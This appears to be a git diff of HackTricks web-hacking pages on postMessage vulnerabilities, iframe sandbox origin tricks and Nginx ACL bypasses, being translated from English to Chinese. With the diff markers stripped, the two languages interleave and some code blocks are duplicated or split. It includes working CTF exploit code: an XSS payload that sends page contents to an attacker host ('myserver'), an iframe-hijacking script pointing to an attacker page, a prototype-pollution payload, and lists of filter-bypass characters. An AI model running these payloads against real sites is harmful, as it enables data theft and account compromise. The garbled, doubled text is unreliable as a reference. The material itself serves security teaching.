Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
### 枚举
### Enumeration
为了**查找当前页面中的事件监听器**,你可以:
In order to **find event listeners** in the current page you can:
- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
- **Execute** in the developer tools console: `getEventListeners(window)`
- **搜索** JS 代码中的 `window.addEventListener``$(window).on` (_JQuery 版本_)
- **在** 开发者工具控制台中执行:`getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
- **在** 浏览器的开发者工具中**转到** _Elements --> Event Listeners_
![](<../../images/image (396).png>)
- Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
- 使用一个**浏览器扩展**,如 [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) 或 [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)。这些浏览器扩展将**拦截所有消息**并显示给你。
### Origin check bypasses
### 来源检查绕过
- **`event.isTrusted`** attribute is considered secure as it returns `True` only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.
- The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
- **`event.isTrusted`** 属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回 `True`。尽管如果正确实现,绕过它是具有挑战性的,但它在安全检查中的重要性是显著的。
- 在 PostMessage 事件中使用 **`indexOf()`** 进行来源验证可能容易被绕过。一个说明此漏洞的示例是:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
- **`search()`** 方法来自 `String.prototype.search()`,旨在用于正则表达式,而不是字符串。传递任何非正则表达式的内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)作为通配符,允许通过特殊构造的域绕过验证。例如:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing.
- The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below:
- **`match()`** 函数与 `search()` 类似,处理正则表达式。如果正则表达式结构不当,可能容易被绕过。
- **`escapeHtml`** 函数旨在通过转义字符来清理输入。然而,它并不创建一个新的转义对象,而是覆盖现有对象的属性。这种行为可以被利用。特别是,如果一个对象可以被操控,使其受控属性不承认 `hasOwnProperty`,则 `escapeHtml` 将无法按预期执行。以下示例演示了这一点:
- Expected Failure:
- 预期失败:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Bypassing the escape:
- 绕过转义:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks.
在此漏洞的背景下,`File` 对象因其只读的 `name` 属性而特别容易被利用。该属性在模板中使用时,未被 `escapeHtml` 函数清理,导致潜在的安全风险。
- The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
- JavaScript 中的 `document.domain` 属性可以由脚本设置以缩短域名,从而允许在同一父域内更宽松的同源策略执行。
### e.origin == window.origin bypass
### e.origin == window.origin 绕过
When embedding a web page within a **sandboxed iframe** using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality.
在使用 %%%%%% 嵌入一个**沙箱 iframe** 时,必须理解 iframe 的来源将被设置为 null。这在处理**沙箱属性**及其对安全性和功能的影响时尤为重要。
By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin.
通过在沙箱属性中指定 **`allow-popups`**,从 iframe 内部打开的任何弹出窗口都继承其父级的沙箱限制。这意味着,除非还包括 **`allow-popups-to-escape-sandbox`** 属性,否则弹出窗口的来源也被设置为 `null`,与 iframe 的来源一致。
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`.
因此,当在这些条件下打开弹出窗口并使用 **`postMessage`** 从 iframe 向弹出窗口发送消息时,发送和接收端的来源都被设置为 `null`。这种情况导致 **`e.origin == window.origin`** 评估为 true (`null == null`),因为 iframe 和弹出窗口共享相同的来源值 `null`
For more information **read**:
有关更多信息**请阅读**
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Bypassing e.source
It's possible to check if the message came from the same window the script is listening in (specially interesting for **Content Scripts from browser extensions** to check if the message was sent from the same page):
### 绕过 e.source
可以检查消息是否来自脚本正在监听的同一窗口(特别有趣的是**来自浏览器扩展的内容脚本**,以检查消息是否来自同一页面):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
return
}
```
您可以通过创建一个**iframe**,使其**发送****postMessage**并**立即删除**,来强制**`e.source`**的消息为null。
You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
For more information **read:**
有关更多信息**请阅读:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### X-Frame-Header bypass
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
### X-Frame-Header 绕过
为了理想地执行这些攻击,您将能够**将受害者网页**放入一个`iframe`中。但一些头部如`X-Frame-Header`可以**阻止**这种**行为**。\
在这些情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到易受攻击的网络应用程序并与之通信:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### 通过阻止主页面窃取发送给子页面的消息
### Stealing message sent to child by blocking the main page
In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
在以下页面中,您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子iframe**的**敏感postmessage数据**,并利用**子iframe中的XSS**在数据被接收之前**泄露数据**
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Stealing message by modifying iframe location
### 通过修改iframe位置窃取消息
If you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
如果您可以在没有X-Frame-Header的网页中嵌入一个包含另一个iframe的页面您可以**更改该子iframe的地址**,因此如果它接收使用**通配符**发送的**postmessage**,攻击者可以**更改**该iframe的**来源**为一个**由他控制**的页面并**窃取**消息:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage to Prototype Pollution and/or XSS
### postMessage导致原型污染和/或XSS
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
在通过`postMessage`发送的数据被JS执行的场景中您可以**嵌入**该**页面**并**利用**通过`postMessage`发送的**原型污染/XSS**进行攻击。
A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
一些**通过`postMessage`非常好地解释的XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
通过`postMessage``iframe`进行**原型污染然后XSS**的攻击示例:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
有关**更多信息**
For **more information**:
- 链接到关于[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
- 链接到关于[**XSS**](../xss-cross-site-scripting/)的页面
- 链接到关于[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
- Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
- Link to page about [**XSS**](../xss-cross-site-scripting/)
- Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## References
## 参考文献
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
- 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,30 @@
# Blocking main page to steal postmessage
# 阻止主页面以窃取 postmessage
{{#include ../../banners/hacktricks-training.md}}
## Winning RCs with Iframes
## 使用 Iframes 赢得 RCs
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
根据这个 [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710),从空源创建的 blob 文档出于安全考虑是隔离的这意味着如果你让主页面保持忙碌iframe 页面将会被执行。
Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
基本上,在这个挑战中,一个 **隔离的 iframe 被执行**,并且在它 **加载后****父**页面将会 **发送一个 post** 消息,包含 **标志**\
然而,这种 postmessage 通信是 **易受 XSS 攻击的****iframe** 可以执行 JS 代码)。
Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
因此,攻击者的目标是 **让父页面创建 iframe**,但 **在****父**页面 **发送** 敏感数据(**标志**)之前 **保持它忙碌**,并将 **有效载荷发送到 iframe**。当 **父页面忙碌时****iframe 执行有效载荷**,这将是一些 JS 代码,用于监听 **父 postmessage 消息并泄露标志**。\
最后iframe 执行了有效载荷,父页面停止忙碌,因此它发送标志,而有效载荷泄露了它。
但是你如何能让父页面在生成 iframe 后 **立即忙碌,并且在等待 iframe 准备好发送敏感数据时保持忙碌呢?** 基本上,你需要找到 **异步** **操作**,让父页面 **执行**。例如,在这个挑战中,父页面 **监听** **postmessages**,如下所示:
```javascript
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {
$("#previewModal").modal()
}
if (e.data == "blob loaded") {
$("#previewModal").modal()
}
})
```
so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
因此,可以在 postmessage 中发送一个 **大整数**,在该比较中将被 **转换为字符串**,这将需要一些时间:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
为了精确地**发送**该**postmessage**,在**iframe**创建后但在其**准备好**接收来自父级的数据之前,您需要**调整`setTimeout`的毫秒数**。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,74 +4,69 @@
## Iframes in SOP-1
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
在这个[**挑战**](https://github.com/terjanq/same-origin-xss)中,由[**NDevTK**](https://github.com/NDevTK)和[**Terjanq**](https://github.com/terjanq)创建你需要利用编码中的XSS进行攻击。
```javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
```
主要问题是[**主页面**](https://so-xss.terjanq.me)使用DomPurify发送`data.body`因此为了将自己的html数据发送到该代码中需要**绕过**`e.origin !== window.origin`
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
让我们看看他们提出的解决方案。
Let's see the solution they propose.
### SOP 绕过 1 (e.origin === null)
### SOP bypass 1 (e.origin === null)
`//example.org`嵌入到一个**沙箱iframe**中时,页面的**origin**将是**`null`**,即**`window.origin === null`**。因此,仅通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe我们可以**强制`null` origin**。
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
如果页面是**可嵌入的**你可以通过这种方式绕过该保护cookies可能也需要设置为`SameSite=None`)。
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
### SOP 绕过 2 (window.origin === null)
### SOP bypass 2 (window.origin === null)
较少人知的是,当**沙箱值`allow-popups`被设置**时,**打开的弹出窗口**将**继承**所有**沙箱属性**,除非设置`allow-popups-to-escape-sandbox`。\
因此,从**null origin**打开**弹出窗口**将使**弹出窗口内的`window.origin`**也为**`null`**。
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
### 挑战解决方案
### Challenge Solution
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
因此,对于这个挑战,可以**创建**一个**iframe****打开一个弹出窗口**到具有易受攻击的XSS代码处理程序的页面(`/iframe.php`),因为`window.origin === e.origin`因为两者都是`null`,可以**发送一个有效载荷来利用XSS**。
该**有效载荷**将获取**标识符**并将**XSS**发送**回顶部页面**(打开弹出窗口的页面),**这将**使**位置**更改为**易受攻击的**`/iframe.php`。因为标识符是已知的,所以不管条件`window.origin === e.origin`是否满足都无关紧要记住origin是来自iframe的**弹出窗口**,其**origin**为**`null`**),因为`data.identifier === identifier`。然后,**XSS将再次触发**这次在正确的origin中。
```html
<body>
<script>
f = document.createElement("iframe")
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,22 +4,19 @@
## Iframes in SOP-2
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to **bypass** this:
在这个[**解决方案**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution)中,针对这个[**挑战**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**** [**@Strellic\_**](https://twitter.com/Strellic_) 提出了与前一部分类似的方法。让我们来看看。
在这个挑战中,攻击者需要**绕过**这个:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
如果他这样做,他可以发送一个 **postmessage**,其中包含将被写入页面的 HTML 内容,使用 **`innerHTML`** 而不进行清理 (**XSS**)。
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
- **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
- Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
- Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
绕过 **第一个检查** 的方法是将 **`window.calc.contentWindow`** 设置为 **`undefined`**,并将 **`e.source`** 设置为 **`null`**
- **`window.calc.contentWindow`** 实际上是 **`document.getElementById("calc")`**。你可以用 **`<img name=getElementById />`** 来覆盖 **`document.getElementById`**请注意Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- 在其默认状态下未配置以防止 DOM 覆盖攻击)。
- 因此,你可以用 **`<img name=getElementById /><div id=calc></div>`** 来覆盖 **`document.getElementById("calc")`**。然后,**`window.calc`** 将是 **`undefined`**。
- 现在,我们需要 **`e.source`** 为 **`undefined`** 或 **`null`**(因为使用的是 `==` 而不是 `===`**`null == undefined`** 为 **`True`**)。实现这一点是“简单”的。如果你创建一个 **iframe** 并从中 **发送** 一个 **postMessage**,然后立即 **移除** 该 iframe**`e.origin`** 将变为 **`null`**。检查以下代码
```javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
@ -28,60 +25,56 @@ await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
为了绕过关于令牌的**第二个检查**,可以发送值为`null`的**`token`**并使**`window.token`**的值为**`undefined`**
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
- Sending `token` in the postMessage with value `null` is trivial.
- **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
- 在postMessage中发送值为`null``token`是微不足道的。
- **`window.token`**在调用使用**`document.cookie`**的函数**`getCookie`**时。请注意,在**`null`**源页面对**`document.cookie`**的任何访问都会触发**错误**。这将使**`window.token`**的值为**`undefined`**。
最终解决方案由[**@terjanq**](https://twitter.com/terjanq)提供,见[**以下**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,31 +4,28 @@
## Changing child iframes locations
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.
根据[**这篇文章**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/),如果你可以在没有 X-Frame-Header 的情况下将一个网页嵌入为 iframe并且该网页包含另一个 iframe你可以**更改该子 iframe 的位置**。
For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, **`frames.location`**.
This is specially useful in **postMessages** because if a page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the related iframe (child or parent) to an attackers controlled location** and steal that data.
例如,如果 abc.com 将 efg.com 作为 iframe而 abc.com 没有 X-Frame header我可以使用 **`frames.location`** 将 efg.com 更改为 evil.com 跨域。
这在 **postMessages** 中特别有用,因为如果一个页面使用 **通配符** 发送敏感数据,如 `windowRef.postmessage("","*")`,则可以**将相关 iframe子或父的位置信息更改为攻击者控制的位置**并窃取该数据。
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Proxy / WAF Protections Bypass
# 代理 / WAF 保护绕过
{{#include ../banners/hacktricks-training.md}}
@ -6,98 +6,91 @@
{% embed url="https://websec.nl/" %}
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
## 通过路径名操作绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Techniques [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx rule example:
技术 [来自这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
Nginx 规则示例:
```plaintext
location = /admin {
deny all;
deny all;
}
location = /admin/ {
deny all;
deny all;
}
```
In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.
为了防止绕过Nginx 在检查路径之前执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),则可能会绕过此防御。
### **NodeJS - Express**
| Nginx Version | **Node.js Bypass Characters** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| Nginx 版本 | **Node.js 绕过字符** |
| ----------- | --------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx Version | **Flask Bypass Characters** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
